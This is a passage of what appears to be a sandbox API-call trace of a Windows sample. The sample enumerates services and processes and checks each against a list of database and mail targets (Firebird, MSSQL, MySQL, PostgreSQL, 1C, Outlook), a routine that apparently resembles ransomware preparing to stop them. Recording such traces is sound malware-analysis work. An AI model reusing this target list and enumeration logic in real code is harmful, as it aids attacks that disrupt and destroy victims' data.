(lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0267.634] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0267.634] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0267.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0267.634] lstrlenW (lpString="Spooler") returned 7 [0267.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0267.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0267.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0267.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0267.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0267.634] lstrlenW (lpString="SysMain") returned 7 [0267.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0267.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0267.634] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0267.634] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0267.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0267.635] lstrlenW (lpString="Themes") returned 6 [0267.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0267.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0267.635] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0267.635] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0267.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0267.635] lstrlenW (lpString="TrkWks") returned 6 [0267.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0267.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0267.635] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0267.635] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0267.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0267.635] lstrlenW (lpString="UxSms") returned 5 [0267.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0267.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0267.635] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0267.635] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0267.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0267.635] lstrlenW (lpString="WdiServiceHost") returned 14 [0267.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0267.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0267.635] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0267.635] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0267.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0267.635] lstrlenW (lpString="WdiSystemHost") returned 13 [0267.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0267.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0267.635] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0267.635] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0267.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0267.635] lstrlenW (lpString="Winmgmt") returned 7 [0267.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0267.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0267.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0267.636] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0267.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0267.636] lstrlenW (lpString="WPDBusEnum") returned 10 [0267.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0267.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0267.636] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0267.636] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0267.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0267.636] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4596fe8 | out: hHeap=0x540000) returned 1 [0267.636] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3dc [0267.637] Process32FirstW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.637] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0267.637] lstrlenW (lpString="System") returned 6 [0267.637] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0267.637] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0267.637] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0267.637] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0267.637] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0267.637] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0267.637] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0267.637] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0267.637] lstrlenW (lpString="smss.exe") returned 8 [0267.637] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0267.637] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0267.638] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0267.638] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0267.638] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0267.638] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0267.638] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0267.638] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.638] lstrlenW (lpString="csrss.exe") returned 9 [0267.638] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0267.638] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0267.638] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0267.638] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0267.638] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0267.638] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0267.638] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0267.638] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0267.638] lstrlenW (lpString="wininit.exe") returned 11 [0267.638] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0267.638] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0267.638] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0267.638] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0267.638] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0267.638] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0267.638] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0267.639] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.639] lstrlenW (lpString="csrss.exe") returned 9 [0267.639] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0267.639] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0267.639] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0267.639] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0267.639] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0267.639] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0267.639] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0267.639] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0267.639] lstrlenW (lpString="winlogon.exe") returned 12 [0267.639] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0267.639] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0267.639] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0267.639] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0267.639] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0267.640] lstrlenW (lpString="services.exe") returned 12 [0267.640] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0267.640] lstrlenW (lpString="lsass.exe") returned 9 [0267.640] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0267.640] lstrlenW (lpString="lsm.exe") returned 7 [0267.640] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.640] lstrlenW (lpString="svchost.exe") returned 11 [0267.640] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.641] lstrlenW (lpString="svchost.exe") returned 11 [0267.641] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.641] lstrlenW (lpString="svchost.exe") returned 11 [0267.641] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.641] lstrlenW (lpString="svchost.exe") returned 11 [0267.641] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.641] lstrlenW (lpString="svchost.exe") returned 11 [0267.641] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0267.642] lstrlenW (lpString="audiodg.exe") returned 11 [0267.642] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.642] lstrlenW (lpString="svchost.exe") returned 11 [0267.642] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.642] lstrlenW (lpString="svchost.exe") returned 11 [0267.642] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0267.642] lstrlenW (lpString="userinit.exe") returned 12 [0267.642] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0267.643] lstrlenW (lpString="dwm.exe") returned 7 [0267.643] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0267.643] lstrlenW (lpString="explorer.exe") returned 12 [0267.643] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0267.643] lstrlenW (lpString="spoolsv.exe") returned 11 [0267.643] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0267.643] lstrlenW (lpString="taskhost.exe") returned 12 [0267.643] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.644] lstrlenW (lpString="svchost.exe") returned 11 [0267.644] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0267.644] lstrlenW (lpString="chrome64b.exe") returned 13 [0267.644] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0267.644] lstrlenW (lpString="reader_sl.exe") returned 13 [0267.644] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0267.644] lstrlenW (lpString="taskhost.exe") returned 12 [0267.644] Process32NextW (in: hSnapshot=0x3dc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0267.645] CloseHandle (hObject=0x3dc) returned 1 [0267.645] Sleep (dwMilliseconds=0x1f4) [0268.233] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4623608 [0268.233] EnumServicesStatusExW (in: hSCManager=0x4623608, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0268.233] GetLastError () returned 0xea [0268.233] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x11e4) returned 0x46051a0 [0268.233] EnumServicesStatusExW (in: hSCManager=0x4623608, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x46051a0, cbBufSize=0x11e4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x46051a0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0268.233] CloseServiceHandle (hSCObject=0x4623608) returned 1 [0268.234] lstrlenW (lpString="Appinfo") returned 7 [0268.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0268.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0268.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0268.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0268.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0268.234] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0268.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0268.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0268.234] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0268.234] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0268.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0268.234] lstrlenW (lpString="AudioSrv") returned 8 [0268.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0268.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0268.234] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0268.234] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0268.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0268.234] lstrlenW (lpString="BFE") returned 3 [0268.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0268.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0268.234] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0268.234] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0268.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0268.234] lstrlenW (lpString="CryptSvc") returned 8 [0268.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0268.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0268.234] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0268.234] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0268.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0268.234] lstrlenW (lpString="CscService") returned 10 [0268.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0268.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0268.234] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0268.235] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0268.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0268.235] lstrlenW (lpString="DcomLaunch") returned 10 [0268.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0268.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0268.235] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0268.235] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0268.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0268.235] lstrlenW (lpString="Dhcp") returned 4 [0268.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0268.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0268.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0268.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0268.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0268.235] lstrlenW (lpString="Dnscache") returned 8 [0268.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0268.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0268.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0268.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0268.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0268.235] lstrlenW (lpString="DPS") returned 3 [0268.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0268.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0268.235] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0268.235] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0268.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0268.235] lstrlenW (lpString="eventlog") returned 8 [0268.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0268.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0268.236] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0268.236] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0268.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0268.236] lstrlenW (lpString="EventSystem") returned 11 [0268.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0268.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0268.236] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0268.236] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0268.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0268.236] lstrlenW (lpString="gpsvc") returned 5 [0268.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0268.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0268.236] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0268.236] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0268.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0268.236] lstrlenW (lpString="iphlpsvc") returned 8 [0268.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0268.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0268.236] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0268.236] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0268.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0268.236] lstrlenW (lpString="LanmanServer") returned 12 [0268.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0268.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0268.236] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0268.236] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0268.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0268.236] lstrlenW (lpString="LanmanWorkstation") returned 17 [0268.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0268.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0268.236] lstrcmpiW 